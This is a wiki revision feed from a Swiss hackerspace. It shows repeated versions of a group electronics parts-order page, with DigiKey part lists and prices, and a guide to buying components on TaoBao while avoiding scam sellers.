List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==?? May (pending)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
simon, 3, EKY-250ELL332MLN3S, CAP ALUM 3300UF 25V 20% RADIAL, $1.21&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2746</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2746"/>
				<updated>2012-07-05T10:13:15Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==?? May (pending)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2745</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2745"/>
				<updated>2012-07-05T00:40:20Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==?? May (pending)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Simon, 4, 497-8815-5-ND  # TRANS PWR NPN FAST HV TO-247&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2473</id>
		<title>TaoBao Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2473"/>
				<updated>2012-06-02T07:57:32Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.&lt;br /&gt;
&lt;br /&gt;
These orders will have to be in high volume for low price parts: think 1000+ LEDs, transistors; 100+ cables, etc.&lt;br /&gt;
&lt;br /&gt;
== How to find stuff on TaoBao ==&lt;br /&gt;
&lt;br /&gt;
TaoBao is the Chinese equivalent of eBay.  Like on eBay, or maybe even more so, there are scam offers.  There are several ways to reduce the risk of being scammed;  following the procedure below should give you a good start.&lt;br /&gt;
&lt;br /&gt;
# go to http://translate.google.com and translate the term you're searching for into Simplified Chinese.  Copy the result.  Often there are several results; you might have to repeat the following steps for them.&lt;br /&gt;
# paste the result into http://taobao.com and hit search.&lt;br /&gt;
# use the google translate extension for chrome to translate the result page.&lt;br /&gt;
# possibly limit your results by using the categories block on the top of the results.&lt;br /&gt;
# observe your results - do they match what you were looking for?  You might have to use different search terms to broaden or limit your search.  Look at the Chinese description text of results that match your objective to refine your search terms.  Repeat searching until you have a set of results you are comfortable with.  You will have hundreds, usually.&lt;br /&gt;
# Do '''not''' sort by price.  That will sort the scammers up top.  Try sorting by &amp;quot;Sales&amp;quot;: this will sort items to the top that have been bought recently by other people as well, thereby leveraging the swarm intelligence of buyers.&lt;br /&gt;
# depending on the item you're searching for (especially for more expensive things), you might want to filter results for 7-day-return policy.  Vendors that offer 7 day return will have to deposit money with TaoBao, so chances they are scammers are lower.  Some items will be sold on Tmall, which is the professional outlet of TaoBao.  Vendors there might be even more credible.&lt;br /&gt;
# Use common sense when selecting items:  stuff in China is way cheaper (50% - 10% of western prices is not uncommon), but if there is one offer that is unreasonably cheaper than the rest, be aware that it might be a scam.&lt;br /&gt;
# Check if the seller might be credible.  Be aware that any of the following properties ''might'' have been faked.  Use enhanced common sense.&lt;br /&gt;
## Look at the item description (electronic components rarely have a description though).&lt;br /&gt;
## Read the Evaluations for the item/seller.  Look at the time line of the evaluations.&lt;br /&gt;
## Look at the average performance rating of the seller.  They are rated on a scale from 1 to 5 for accuracy, service and speed.  5 is best.  TaoBao also compares the vendor to his peers (selling similar items) and shows the result in a percentile.  RED in China means GOOD.  So, a vendor with 4.9 and 40% RED on service is very good.  4.3 with GREEN 10% means not really good.&lt;br /&gt;
## Look at the vendor's credit (as a seller, not as a buyer!):  more hearts is good, more diamonds better, more crowns even better, etc.&lt;br /&gt;
# win!  note down multiple items, because sometimes the vendor might not have the item in stock.  If you like a vendor or know that the vendor is credible (we'll publish a list below), you can browse their store to find items so that you can combine shipping etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Collect! ==&lt;br /&gt;
&lt;br /&gt;
Let's slowly collect what we think would be useful to have:&lt;br /&gt;
&lt;br /&gt;
* Banana plugs &lt;br /&gt;
**http://item.taobao.com/item.htm?id=3381426784&lt;br /&gt;
* breadboards (small ones as well? I would say a big one and 3 little)&lt;br /&gt;
** http://item.taobao.com/item.htm?id=13777988216 (little)&lt;br /&gt;
* aligator cables (we have enough of those imho)&lt;br /&gt;
* banana cables &lt;br /&gt;
** http://item.taobao.com/item.htm?id=15046648196 (plugs only)&lt;br /&gt;
* digital multimeters &lt;br /&gt;
** http://item.taobao.com/item.htm?id=10622122985&amp;amp;ali_trackid=2:mm_14507416_2297358_8935934,0:1336780057_4k1_614573029&lt;br /&gt;
* soldering irons&lt;br /&gt;
* Arduino uno, for the [[kits]]&lt;br /&gt;
** http://item.taobao.com/item.htm?id=14493865735 (total price : around 30.-)&lt;br /&gt;
* Throwies (3000 pieces):&lt;br /&gt;
** LEDs (best are diffuse, rectangular, pink, this one will do the trick) &lt;br /&gt;
*** http://item.taobao.com/item.htm?id=10667239993&lt;br /&gt;
** CR2032 batteries &lt;br /&gt;
*** http://item.taobao.com/item.htm?id=6963384416&lt;br /&gt;
** sticky tape&lt;br /&gt;
** magnets &lt;br /&gt;
*** http://item.taobao.com/item.htm?id=8549956941&lt;br /&gt;
* Vibration motors&lt;br /&gt;
* little solar panel&lt;br /&gt;
* micro usb cable&lt;br /&gt;
* glue sticks&lt;br /&gt;
* pincer without teeth&lt;br /&gt;
* gabarit de pliage&lt;br /&gt;
* usb to serial&lt;br /&gt;
&lt;br /&gt;
